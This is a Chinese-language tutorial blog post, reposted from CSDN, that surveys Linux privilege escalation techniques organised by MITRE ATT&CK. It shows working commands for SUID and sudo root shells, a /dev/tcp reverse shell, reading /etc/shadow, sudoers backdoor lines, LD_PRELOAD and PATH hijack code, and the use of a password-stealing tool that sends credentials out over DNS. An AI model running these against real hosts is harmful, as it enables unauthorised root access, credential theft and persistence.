0


ATT&CK权限提升-Linux提权总结

ATT&CK权限提升-Linux提权总结

介绍

​ MITRE ATT&CK ®是一个全球可访问的基于真实世界观察的对手战术和技术知识库,本文根据MITRE ATT&CK框架总结了Linux系统下的权限提升技术,并且特指由普通用户提升到root权限的技术。

一、滥用权限控制机制

​ 首先了解一下Linux下的权限控制机制http://c.biancheng.net/linux_tutorial/70/,Linux所有文件都具有访问权限,针对u:拥有者、g:组、o:other设置权限,常见的文件权限类型有:r、w、x,对应读、写、可执行权,除了这3种以外还有一些特殊权限,u中的s代表SUID权限,g中的s代表SGID权限,t代表粘滞位权限,SUDO命令则用于暂时提升用户身份。在ATT&CK框架中记录了很多提权方法,其中用于Linux的有SetUID、SetGID和SUDO。

1.SetUID和 SetGID

①提权原理

​ SetUID简称SUID,当一个可执行文件被赋予SUID权限,那么用户执行此文件时,会暂时获得文件所有者的身份,一旦文件执行结束,身份的切换也随之消失。

​ SetGID简称SGID,和SUID类似,当一个可执行文件被赋予SGID权限,那么用户执行此文件时,用户组会暂时获得文件所属组的身份,一旦文件执行结束,身份的切换也随之消失。

​ 如上所述,SUID或SGID本身就是一种暂时提升权限的机制,不恰当得使用会造成安全隐患。对于入侵者来说,只要找到具备SUID或SGID权限的程序,并且能够操控它的执行结果,那么就可以将任意指令提升至root权限。

②提权条件

​ 1.存在具备SUID权限的脆弱二进制文件

③找寻脆弱点

​ 查找具有SUID和SGID的文件:

​ 1.使用ls -l查看具有SUID和SGID权限的文件,SUID对应user权限中的s,SGID对应Group权限中的s:

image-20220603204148981

​ 2.find查找具有SUID和SGID权限的文件:

#查找同时具有SUID和SGID权限的文件:
find / -user root -perm -u+s,g+s -print 2>/dev/null

#查找具有SUID权限或SGID权限的文件:
find / -user root -perm /u+s,g+s -print 2>/dev/null

#查找具有SUID权限的文件:
find / -user root -perm -u+s -print 2>/dev/null

查找具有SGID权限的文件:
find / -user root -perm -g+s -print 2>/dev/null

③可被利用的二进制文件

​ 1.对于常见二进制文件,GTFOBins上面其实已经总结的很全面了https://gtfobins.github.io/#

image-20220603210603729

​ 2.下面举例一个常见的可用于SUID提权的程序,其他的请参考GTFOBins:

find

image-20220603212418414

​ 3.如GTFOBins中展示的,find 可以使用-exec参数来执行命令,所以如果它具备SUID权限那么就可以用来提权:

#测试时先赋予find SUID权限:
chmod u+s /usr/bin/find

#查找/usr/bin下具备SUID权限的文件:
find /usr/bin/ -user root -perm -u+s -print 2>/dev/null

#-exec执行命令,参数需要以;结尾,find每次成功匹配到一个文件,都会执行该命令,使用-quit避免重复执行:
find /root/test -exec whoami \;       #多次匹配到文件会多次执行whoami
find . -exec whoami \; -quit         

#交互式shell:
find . -exec /bin/sh -p \; -quit

#反弹shell(注意这里一定要用-p,原因在下面解释)
find . -exec /bin/sh -p >& /dev/tcp/ip/port 0>&1 \; -quit    

image-20220603212351458

​ 4.提权前

image-20220603214445690

​ 5.SUID提权,whoami变为root,euid变为root:

image-20220603214708972

​ 6.SGID提权,whoami并没有变为root,但egid用户组变为了root

image-20220603214156934

反弹shell踩坑及解决方法

​ 1.从上面执行的结果可以看到,SUID提权时,只有euid改变,SGID提权时,只有egid和groups改变。

​ 2.linux下用户/用户组有这样几个概念:

​ 实际用户ID(RUID):用于标识一个系统中用户是谁,一般是在登录之后,就被唯一确定的,就是登陆的用户的uid,也是id命令看到的第一个uid。

​ 有效用户ID(EUID):用于系统决定用户对系统资源的权限,SUID提权时改变的其实就是EUID。

​ 真实组ID(RGID):同理,也就是GID。

​ 有效组ID(EGID):同理,SGID提权时改变的就是EGID。

​ 3.如果我们使用常见的bash -i 反弹shell,会出现提权失败的情况:

image-20220603223934203

​ 4.是因为:默认情况下 bash 在执⾏时,如果发现 euid 和 uid 不匹配,会将 euid强制重置为uid

​ 而解决方法是使用-p参数,缺点是没有那么好的交互式,不过也能用:

image-20220603224112065image-20220603224154639

2.sudo和sudo缓存

​ 这里sudo是指sudoers文件,sodu缓存是指已经配置到sudoers文件中的那些命令。

①提权原理

​ sudoers文件指/etc/sudoers,它管理着sudo机制。

​ sudo会暂时以root身份去执行指令,和SUID一样,它本身就是一种暂时提升权限的机制,它要求用户输入当前用户的密码而不需要输入root密码。

​ 和SUID提权的区别在于:它改变的不仅仅是euid,uid、gid、groups都变成了root:

image-20220604102612107

​ 综上所述:sudo本身就是一种暂时提升权限的机制,不恰当得使用会造成安全隐患。只要攻击者有权限修改/etc/sudoers,或sudo缓存中的这些命令可以执行任意指令,那么攻击者就可以将任意指令提升至root权限。

②提权条件

​ 1.已知当前用户密码或sudoer中设置了不使用密码

​ 2.sudo缓存中存在脆弱的二进制文件(就是指那些可sudo的命令)或者对sudoers文件具备写权限(默认没有)

③获取用户密码

​ 我们知道,Linux系统的用户密码保存在/etc/shadow中,但对于普通用户,默认是无法访问/etc/shadow的,那我们要如何获取用户密码呢?

​ 在ATT&CK框架中,有一种技术叫修改Unix shell,其分类在持久性或特权提升–事件触发执行–修改Unix shell。

密码获取条件

​ 1.用户必须在sudoer组。

原理简介

​ Linux下一切皆文件,当登录Linux时候,为了初始化环境变量等配置,会自动加载执行一些配置文件,其顺序是:

​ /etc/profile --> (/.bash_profile | ~/.bash_login |/.profile) --> /.bashrc -> /etc/bashrc ,在退出时还会执行/.bash_logout

​ 关于这些文件的说明:(参考自https://wenku.baidu.com/view/463276fa0242a8956bece426.html)

​ (1)/etc/profile:为系统的每个用户设置环境信息,当用户第一次登录时,该文件被执行,并从/etc/profile.d目录的配置文件中搜索shell的设置。

​ (2)/etc/bashrc:为每个运行的bash shell用户执行此文件,当bash shell被打开时执行。

​ (3)~/.bash_profile:每个用户都可以使用该文件输入专用于自己使用的Shell信息,当用户登录时,该文件仅仅执行一次,默认情况下,它设置一些环境变量,执行用户的.bashrc文件。

​ (4)~/.bashrc:该文件包含专用于你的bash shell的bash信息,当登录时以及每次打开新的shell时,该文件被执行。

​ (5)~/.bash_logout:当每次退出系统(退出bash shell)时,执行该文件。

​ 其本身就是为了用户自定义的配置,当前用户对于这几个文件是具有读写权限的:/.bash_profile、/.bashrc、 /.profile、 ~/.bash_login 、/.bash_logout 。所以通常可以利用这点来做持久化,除此之外,还可以在这些配置中加载自己的二进制程序,实现其它功能,比如密码窃取功能。

image-20220605180030183

Impost3r窃取密码

​ 这个工具正是利用上述原理实现了sudo、ssh、su密码窃取功能,使用方法github上已经很详细,下面就简单展示一下效果:

​ (1)在vps上编译生成.impost3r

image-20220605175158906

​ (2)使用test用户将.impost3r下载到/tmp目录(存放位置根据配置而定)【这里有个小技巧,通过Scp去下载可以保留程序的可执行权限,wget不行】:

image-20220605175650019

​ (3)使用test用户备份.bashrc到/tmp目录(根据配置来定),并参照impost3r的使用方法给sudo添加别名:

image-20220605175553910

image-20220605175543173

​ (4)当正常test用户登录并执行sudo后,会先调用/tmp/.impost3r窃取密码,再转回到原始的sudo上,最后成功窃取到密码并通过dns发送给了我们:

image-20220605174908167

​ 拿到了sudo密码之后,我们再考虑通过sudo提权的事情。

④找寻脆弱点

sudo -l

image-20220604121105596

⑤可被利用的二进制文件

​ 1.关于SUDO提权,GTFOBins上面也总结的很全面了https://gtfobins.github.io/#

image-20220604120854515

​ 2.下面举例几个常见的可用于SUID提权的程序,其他的请参考GTFOBins:

sudo缓存:
sudo -l 查看当前用户可使用的权限

提权姿势:
1. sudo su root                                      #只知道当前用户密码的情况下就可以su为root
2. sudo awk 'BEGIN {system("/bin/sh")}'                 
3. sudo man man
    在man中输入!/bin/sh 或者!/bin/bash 可进入root shell

4. sudo curl file:///etc/shadow  读取密码进行破解
5. sudo curl $URL -o $LFILE      #将远程文件覆盖写入到本地,可以用来修改各种配置文件

​ 3.因为前面已经输入过test的密码了,截图的没有要求输入密码:

image-20220604123611521

image-20220604123520069

sudoers:

​ sudoers的用法:https://blog.51cto.com/zxf261/748756

​ 常被用来作为提权后门,达到远控目的,如Dok木马添加

admin ALL=(ALL) NOPASSWD: ALL

/etc/sudoers

文件中,实现admin用户的提权后门。

#查看是否有可写权限(默认没有)
ll /etc/sudoers    
2.echo写入
echo "admin      ALL=(ALL)       ALL" >> /etc/sudoers
3.结合sudo提权写入
sudo curl $URL -o /etc/sudoers      #下载远程文件到sudoers,如果curl有sudo权限也可以这样用

二、劫持执行流程

1.动态链接器劫持

①动态链接器简介

​ 动态链接器用于加载动态链接库(*.so),一般情况下,其加载顺序为LD_PRELOAD > LD_LIBRARY_PATH > /etc/ld.so.cache > /lib>/usr/lib,LD_PRELOAD和 LD_LIBRARY_PATH是一个环境变量。在Linux系统中,程序调用系统命令的方式主要有这几种:system、fork、exec加载器,它们对环境变量的继承关系是有区别的。fork从调用该函数的进程复制出子进程,它会继承父进程的环境变量;exec加载器将新程序代码加载(拷贝)到进程的内存空间,替换掉原有的与父进程一模一样的代码和数据,让进程空间运行全新的程序,需要手动将环境变量作为参数传递才能继承;system实际上执行“/bin/sh -c command”,它通过fork和exec来创建子进程。以上详细实验过程可以参考这篇文章https://blog.csdn.net/Onlyone_1314/article/details/118699481。

​ 通过system和fork会继承环境变量,但对于LD_PRELOAD和 LD_LIBRARY_PATH这2个环境变量,当我们使用SUID、SUDO等方式提升权限时,LD_PRELOAD和 LD_LIBRARY_PATH会被忽略,下图展示了直接运行myprog程序我设置的LD_PRELOAD生效,加载了自己的动态链接库,但使用sudo运行时未加载(使用SUID也一样)。

image-20220608135757139

​ 下面做个测试,test.c程序使用fork来创建一个子进程,在父进程和子进程中都会打印出当前的环境变量。

​ 编译并运行test.c:gcc test.c -o test

test.c

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
void printenv()
{
int i = 0;
while (environ[i] != NULL) {
printf("%s\n", environ[i]);
i++;
}
}
void main()
{
printenv();
printf("\n---------------------------------------------\n");
pid_t childPid;
switch(childPid = fork()) {
case 0: /* child process */
printenv();
exit(0);
//default: /* parent process */
//printenv();
//exit(0);
}
}

​ 当未附加SUID权限时,父子进程都可以打印出LD_PRELOAD环境变量:

image-20220608182536454

​ 当赋予SUID权限后,父子进程都不包含LD_PRELOAD:

image-20220608183039298

​ 所以LD_PRELOAD不能像其他环境变量一样劫持。

②提权原理

​ 动态链接器和环境变量劫持,都只是修改程序的执行流程,所以它本身并不能直接提升权限,需要被劫持程序自身具备高权限(如以root运行,SUID,SUDO),而前面我们分析了,使用SUID和SUDO时LD_PRELOAD环境变量会被忽略,并且普通用户也不能修改root用户的环境变量。目前可利用方式是sudoers文件,sudoer中可以配置env_keep,将环境变量传递给子进程,不过sudoer文件一般用户没有可写权限,所以比较鸡肋,下面就简单演示一下:

③提权条件

(一)用户在sudoer组,并且不知道用户的sudo密码

(二)可修改/etc/sudoers文件(默认没有权限

③LD_PRELOAD劫持SUDO程序提权过程

​ 1.现在假设我们拿到服务器的test用户shell,通过查看history历史记录发现管理员会经常执行sudo whoami命令,于是想到了劫持whoami命令:

image-20220609131830336

​ 2.在安装了ltrace的系统上跟踪whoami,发现它会调用puts函数:

image-20220609131944877

​ 3.重写puts,编译成动态链接库(*.so),利用LD_PRELOAD劫持动态链接库:

hook.c:

#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>

int puts(const char *message) {
  int (*new_puts)(const char *message);
  int result;
  new_puts = dlsym(RTLD_NEXT, "puts");
  system("id");                            //要执行的命令为id
  result = new_puts(message);
  return result;
}

​ 编译为动态链接库:

gcc hook.c -o hook.so -fPIC -shared -ldl -D_GNU_SOURCE

​ 4.通过前面的测试我们已经知道,直接通过sudo command的方式执行命令并不能将LD_PRELOAD环境变量带入,可用的方式是sudo LD_PRELOAD=xxx.so command。现在假设我们还不知道用户test的密码,所以并不能直接sudo执行whoami命令来劫持,我们想要正常的test管理员去执行sudo whoami的时候触发我们的劫持,所以需要将LD_PRELOAD环境变量设置为任何人登录都可以生效,于是参考前面SUDO提权时,修改.bash_profile设置别名来窃取密码的方式,我们也可以在.bash_profile中设置sudo别名=‘sudo LD_RELOAD=xxx.so’,这样正常test用户登录后,就有了这个别名,当他执行sudo时,实际执行的是sudo LD_PRELOAD=xxx.so:

image-20220609135231053

​ 5.正常管理员登录后就有了这个别名:

image-20220609135201331

​ 6.不过限制就来了,使用这种方式执行的时候,会和我们上面测试的结果一样,LD_PRELOAD会被忽略,会提示无权限设置环境变量或者加载失败:

image-20220609135332602

image-20220609133518009

​ 7.解决办法就是修改/etc/sudoers(默认test没有可写权限),增加env_keep=“LD_PRELOAD”,让sudo执行时可以携带LD_PRELOAD环境变量:

image-20220609134934171

​ 8.正常管理员执行sudo whoami,触发了我们的劫持,在这个示例中执行了id命令,当然你也可以直接让它反弹shell:

image-20220609135356403

6.PATH环境变量劫持

​ 根据前面动态链接器劫持章节的介绍,相信你对环境变量劫持已经有所了解,PATH也作为环境变量的一部分,并且根据前面的测试可知:通过fork或者system创建子进程,PATH会被完整地传递。和动态链接库劫持一样,PATH作为环境变量本身也不具备提升权限的机制,需要结合SUID、SUDO等进行提权,不过好在使用SUID和SUDO时候,PATH没有传递限制,比LD_PRELOAD和 LD_LIBRARY_PATH更好利用。

①提权原理

​ PATH主要用于定义可执行程序的搜索目录,可执行程序包括Linux系统命令和用户的应用程序。例如某个程序调用system(“ps”),那么就会去PATH环境变量中搜索ps,搜索的顺序按照PATH定义的顺序(如/tmp:/usr/local/sbin,则先搜索/tmp目录,如果没有再搜索/usr/local/sbin目录),因此PATH环境变量劫持的原理就是将调用程序的路径添加到PATH环境变量的前面,让它优先搜索加载我们自定义的程序。那环境变量劫持提权的原理就是我们劫持了一个本身就具有SUID权限、root身份运行权限、可SUDO的程序。不过普通用户没法修改root用户身份运行程序的环境变量,SUDO需要知道当前用户密码,所以一般结合SUID进行提权。

②提权条件

​ (一)找到一个具有SUID权限或SUDO(需要当前用户SUDO密码,有密码了一般也不需要这样提权)的程序。

​ (二)strace观察程序调用了哪些系统命令/用户程序。

​ (三)使用环境变量劫持这个程序并运行它。

③PATH环境变量劫持SUID程序提权过程

​ 1.现在有这样一个程序test,用户test需要用它执行ps命令,并且需要SUID权限:

test.c

#include<stdlib.h>
#include <unistd.h>
 int main()
{
setuid(0);//run as root
setgid(0);
system("ps");                
}

​ 2.编译并且赋予SUID权限:

image-20220609150903344

​ 3.我们拿到一个test用户shell,通过find查找具备SUID权限的程序,发现了它:

find / -user root -perm -u+s -print 2>/dev/null

image-20220609151948527

​ 4.将test下载到本地或在目标安装运行strace,追踪程序,发现程序执行了ps命令:

image-20220609145911343

​ 5.于是我们就可以劫持ps命令进行提权,直接获取到root用户的bash:

#查看当前环境变量
echo $PATH

#将/bin/sh写入到/tmp/ps,并且修改权限:
echo /bin/sh > /tmp/ps
chmod 777 /tmp/ps

#修改环境变量,将/tmp目录放到前面:
export PATH=/tmp:$PATH

#运行test程序,由于它具备SUID权限,所以劫持后成功提权:
./test

​ 6.这里能看到uid、gid都变成了root是因为我们的程序调用了setuid(0)和setgid(0),没有显示euid是因为uid和euid相同的时候它不会显示:

image-20220609152310540

三、有效账户

密码破解

四、提权漏洞

​ 由于咱实在是太菜了,内核原理搞不懂呀,所以就直接搬运一些文章吧。

1.CVE-2022-0847(Linux DirtyPipe内核提权漏洞)

参考:https://blog.csdn.net/WWL0814/article/details/123354623

2.CVE-2022-0185(容器逃逸漏洞)

参考:https://blog.csdn.net/Breeze_CAT/article/details/123007818

3.CVE-2021-4034(Linux Polkit权限提升漏洞)

参考:https://blog.csdn.net/weixin_42618425/article/details/122709479

4.CVE-2021-3493(Linux kernel权限提升漏洞)

参考:https://blog.csdn.net/xiaoxizainiyanli/article/details/115976549

5.CVE-2021-3156(Linux sudo权限提升漏洞)

参考:https://zhuanlan.zhihu.com/p/375577136

6.CVE-2019-13272(Linux ‘PTRACE_TRACEME’提权漏洞)

参考:https://blog.csdn.net/Kris__zhang/article/details/116643422

CVE-2016-5195(脏牛漏洞)

参考:https://blog.csdn.net/arttnba3/article/details/115773316

五、其他

​ 可能看到这里的小伙伴有些疑问,还有一些网上流传的提权方式ATT&CK中并没有提及,比如mysql UDF、redis写计划任务等等,其实是因为这些提权方式要求应用程序本身以root权限运行,换言之只要程序有漏洞或有功能可以让用户执行命令、写入文件等,那么用户也就拥有了root权限,并没有从操作系统普通用户提升到root用户,所以ATT&CK中没有涉及这部分,下面就讲一些ATT&CK中找不到分类的提权方式,看看它究竟是怎么回事。

1.Docker组提权

​ 如上所述,当一个程序以root身份运行,那么程序就拥有了root权限, 如果程序存在漏洞很容易导致攻击者直接获取到操作系统的root权限,因此正确的做法是以最小化权限原则创建普通用户,以普通用户身份运行程序,比如web中间件、服务器、数据库等,都以不同用户身份运行,这样即使这些软件程序存在漏洞,攻击者获取到的也只是普通用户权限,要获取root权限则再通过我们上面总结的这些方法进行提权。

​ 那是不是只要以普通用户身份运行的程序就会更加安全呢?这里就出现了一个意外,Docker组提权。Docker的虚拟机是可以以普通用户身份启动的(docker run),而这个普通用户必须在Docker组里,听起来这样就会比直接以root启动的虚拟机更加安全,但事实上却并非如此。

​ 我们先来做下试验:

​ 1.安装docker,这个自行百度。

​ 2.创建docker组和用户,将用户加入组

adduser dock
usermod -G docker dock
newgrp docker
su dock

image-20220612123110809

​ 3.docker组用户运行一个docker实例:

docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

image-20220612123203788

​ 4.这样就得到一个shell,这个shell其实是docker虚拟机的shell,这里关键点是我们使用-v参数,将宿主机的根目录挂载到了虚拟机目录,因为linux下一切皆文件,所以现在的虚拟机差不多等同于物理机了,可以看到宿主机上的文件:

image-20220612130148744

​ 5.所以可以得出结论,这个提权的本质是挂载目录这个功能可以让Docker虚拟机拥有宿主机文件的访问权限,不过还是会有一些写入功能会受到限制的:

image-20220612130421153

​ 6.为什么明明是Docker组的用户启动的虚拟机,最后却拥有了root权限,这难道不就是提权吗?其实这并不是正在意义上的从其他操作系统用户权限提升到root权限,因为架构问题,docker服务只能以root身份运行,下面我们测试使用test用户启动docker服务,也会要求输入root密码,ps查看可知它还是以root身份运行的。

image-20220612131320516

​ 7.最后我们在获取到的shell中执行一个test程序来观察,可以发现这个test程序是docker服务的子进程,并且也拥有root权限。所以这其实本身就是一个root权限运行的程序的一个子进程,并不是dock用户权限运行,简而言之docker组并不能提升安全性,所以这大概就是我在ATT&CK中找不到分类的理由吧~

ps aufx

image-20220612131546097

标签: linux 运维 服务器

本文转载自: https://blog.csdn.net/u013797594/article/details/125246216
版权归原作者 black guest丶 所有, 如有侵权,请联系我们删除。

“ATT&amp;CK权限提升-Linux提权总结”的评论:

还没有评论